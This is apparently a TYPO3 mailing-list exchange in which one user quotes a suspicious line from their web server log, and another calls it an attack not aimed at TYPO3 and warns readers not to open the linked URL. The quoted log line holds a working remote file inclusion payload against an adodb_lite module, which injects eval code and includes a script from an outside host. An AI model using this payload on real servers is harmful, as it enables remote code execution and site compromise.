[TYPO3-english] Web attack

Lars Houmark lars at houmark.com
Fri Apr 23 17:31:22 CEST 2010


Jörg Schaller wrote:
> Hi,
>
> in my logs I found the following entry, which looks like an attack:
>
> 174.133.171.74 - - [22/Apr/2010:14:20:47 -0400] "GET
> /blog+M56eb9b96ceb.html//lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection%7B%7Deval($_GET[w]);class%20zZz_ADOConnection%7B%7D//&w=include($_GET[a]);&a=http://telleriasnunez.com/id1.txt??
> HTTP/1.1" 200 30172 "-" "Mozilla/5.0"
>
> Is this useful to anyone?
>
> Cheers,
> Jörg

Please do not include the link to the site. And for anyone else. Please 
do not click it. I might be harmful and include viruses.

It sure looks like an attack attempt, but seems not to be directed at TYPO3.

-- 
Lars Houmark



More information about the TYPO3-english mailing list